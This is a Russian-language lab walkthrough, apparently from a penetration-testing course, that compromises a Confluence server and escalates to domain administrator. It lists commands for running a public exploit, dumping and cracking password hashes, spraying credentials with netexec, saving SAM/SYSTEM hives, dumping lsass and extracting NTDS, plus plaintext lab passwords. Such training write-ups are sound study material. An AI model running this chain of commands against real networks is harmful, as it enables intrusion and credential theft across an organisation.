Спойлер: Авторские права
Получаем первоначальный доступ
Не удалось прогрузить медиа
Я подключился к впну и решил просканировать доступную мне сетку на наличие открытых портов. Первое, что нас будет интересовать - это веб ресурсы. Можно попробовать найти эксплоит или подобрать креды.
Не удалось прогрузить медиа
Есть вот такое веб приложение, которое запущено на порту 8090. Мы можем увидеть название и версию. Это уже намек, что нужно попытаться найти poc.
Atlassian Confluence 8.5.3 poc github - гуглим
Не удалось прогрузить медиа
Просто клонируем себе на машину и запускаем эксплоит.
Не удалось прогрузить медиа
Ранее мы сканировали сетку. Я там обнаружил торчащую СУБД psql. Тут я понял, что с помощью полученного шелла я могу прочитать конфигурационный файл и вытащить креды для подключения к бд. Видим один единственный файл в котором есть “cfg” вот его и будем читать
Не удалось прогрузить медиа
Видим кучу информации, если приглядеться, то есть вся необходимая информация для подключения к бд. А именно
confluence - юзернейм
psqlP4sswd123 - пароль
db:5432/confluence - название бд и порт для подключения
Не удалось прогрузить медиа
Подключаемся и с помощью “\dt” просматриваем доступные таблицы в базе confluence.
Далее я выделил область терминала (win+shift+s). У меня купленная нейронка GPT 4.0, она мне очень помогает, закинул туда скриншот с названиями таблиц и попросил найти таблицу в которой содержатся пользовательские учетки в confluence и каким SQL запросом извлечь все записи.
SELECT * FROM cwd_user;
Не удалось прогрузить медиа
Ну вот собственно и учетки. Нас будет интересовать формат username;password. Поэтому берем весь этот output, нормализируем, вытаскиваем хэши, юзеров. Далее находим словарик с паролями и подбираем хэш для каждого пользователя в бд с помощью hashcat или john.
echo "admin:{PKCS5S2}rMuhH5aHDD1SMUL4DhEx+TmaPKUVh44F+R5GSKQX3l8YeEaNuEYwkxS08pTn42Xc" > hash1.txt
john --wordlist=rockyou.txt hash1.txt
У меня получилось сбрутить 2 пароля. Таким вот образом мы получили первоначальный доступ.
Фаззим сетку с помощью полученных учеток
netexec ssh 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec smb 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec rdp 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec wmi 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
netexec ftp 10.111.0.0/24 -u 'shutova' -p '1qazZAQ1'
rdp - это лишь пример. На курсе он запрещен, потому что лаба может сломаться=) В целом не стоит относиться серьезно к информации, которую я рассказываю, т.к на деле тут можем оказаться только 20% от сути. Но лучше хоть с чего-то начать.
Доступны только системные неинтересные шары. В таком случае будем фаззить вторую учетку.
netexec ssh 10.111.0.0/24 -u 'verentsov' -p 'gfhjkm123!'
У нас есть возможность подключиться к пользователю verentsov по ssh. Что мы сейчас и сделаем! Заодно посмотрим какие привилегии у нас есть…
Дампим локальные учетки из файла SAM
Не удалось прогрузить медиа
Обращаем внимание на привилегию “SeBackup”. Это прям намек, что мы можем копаться в реестре, файлах, которые как правило недоступны обычному пользователю. Нас будет интересовать файл “sam” в нем хранятся учетки локальных пользователей.Сохраняем из реестра sam и system, чтобы далее можно было распарсить на локальной машине учетки, т.к sam файл зашифрован.
reg save HKLM\SAM "C:\Users\Windows\Tasks\sam.txt"
reg save HKLM\SYSTEM "C:\Users\Windows\Tasks\system.txt"
Парсим на локальной машине с помощью инструмента secretsdump.py
Нас интересует учетка local_admin. У нас есть NTHASH, который мы сбрутим инструментом hashcat.
hashcat -m 1000 -a 0 hash.txt rockyou.txt
local_admin:asdfASDF1234 - получаем учетку. Снова фаззим ее по всей сетке и находим тачку, где у нас есть доступ по ssh.
Дампим с учетки локального администратора учетки из lsass:zap:
Поднимаем сервак на 8080 порту, чтобы поделиться агентом=)
python3 -m http.server 8080
Прилетает сессия в наш C2. Дампим lsass с помощью nanodump
Забираем dump.dmp, чтобы на нашей локальной машинке распарсить
python3 -m pypykatz lsa minidump dump.dmp
Работаем от имени доменного администратора. Забираем учетки из файла NTDS
Брутим NTHASH domain_admin. Фаззим снова сетку. Подключаемся по ssh. И забираем NTDS.
Не удалось прогрузить медиа
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Tasks\student\NTDS" quit quit
Забираем полученный файл на свою локальную машину и парсим оттуда учетки.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Приводим все это дело в нормальный вид. Брутим хэши. Потом оказалось, что можно просто было пробраться на другой хост…
После ряда эксперементов на хосте 0.4. Я закачал тулзу lazagne сразу собранную версию.
Вот. Теперь у нас еще креды для подключения к ftp.
На этом сегодня остановимся…
LIMB